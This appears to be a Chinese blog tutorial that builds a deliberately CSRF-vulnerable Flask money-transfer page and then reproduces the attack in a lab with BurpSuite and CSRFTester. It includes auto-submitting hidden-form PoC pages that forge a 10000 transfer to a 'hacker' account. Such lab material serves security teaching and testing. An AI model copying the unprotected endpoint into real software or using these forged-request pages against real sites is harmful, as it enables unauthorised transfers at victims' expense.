一、Python编写一个存在CSRF漏洞
① 编写html网页
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>转账</title> </head> <body> <h1>转账</h1> <form action="/transfer" method="post"> <label for="amount">金额:</label> <input type="text" name="amount" required> <br> <label for="recipient">接收者:</label> <input type="text" name="recipient" required> <br> <input type="submit" value="提交"> </form> </body> </html>
② 编写网页请求接口代码
from flask import Flask, request, render_template app = Flask(__name__, template_folder='template') @app.route('/') def index(): return render_template('transfer.html') @app.route('/transfer', methods=['GET', 'POST']) def transfer(): if request.method == 'POST': amount = request.form['amount'] recipient = request.form['recipient'] # 执行转账操作,将指定金额从当前用户转移到指定的接收者账户 return f"成功转账 {amount} 给 {recipient}" return render_template(r'transfer.html') if __name__ == '__main__': app.run(host='10.162.95.61')
③ 运行代码
④ 测试网页功能是否正常
输入转账进入,接收转账人员,点击
这个示例代码存在一个CSRF漏洞。攻击者可以通过构造恶意的HTML表单或JavaScript代码,诱导用户点击链接或提交表单,从而在用户不知情的情况下执行转账操作。由于没有适当的CSRF防护措施,攻击者可以利用这个漏洞进行非法的转账操作
二、BurpSuite抓取/拦截转账请求
我们的目标是测试这个转账功能是否存在CSRF漏洞。
(1)运行上面例子的Python代码并访问主页
(2)输入转账金额和接收人点击提交,BurpSuite会抓取或拦截转账请求。
抓包找到该接口-右键-相关工具-生成对应POC
复制html本地保存生成的POC文件,文件格式XXX.html
生成的恶意HTML页面如下所示:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://10.162.95.61:5000/transfer" method="POST"> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="recipient" value="test" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
将接收转账的账号修改成自己的账号,如hacker
访问这个恶意的网页点击恶意网页中的“Submit request”按钮
如果受害者点击了页面上的“Submit request”按钮,浏览器会发送转账请求到目标网站修改密码页面,导致向"hacker"账号转账了10000元,这表明存在CSRF漏洞。
三、CSRFTester自动化探测工具
CSRFTester 工具的测试原理大概是这样的, 使用代理抓取我们在浏览器中访问过的所有的连接以及 所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交 ,相当于一次伪造客户端请 求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用 来进行 CSRF 攻击。
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
( 2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表 单存在 CSRF 漏洞。
( 3)、生产 POC 代码。
备注:工具默认代理127.0.0.1:8008,浏览器代理插件设置对应的端口即可
修改表单内容生成 html 文件
表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出
<form method="POST" name="form2" action="http://10.162.95.61:5000/transfer"> <input type="hidden" name="amount" value="10000"/> <input type="hidden" name="recipient" value="hacker1111"/> </form>
运行生成的html文件
标签:转账,__,表单,漏洞,html,复现,CSRF,测试工具 From: https://www.cnblogs.com/xfbk/p/18140125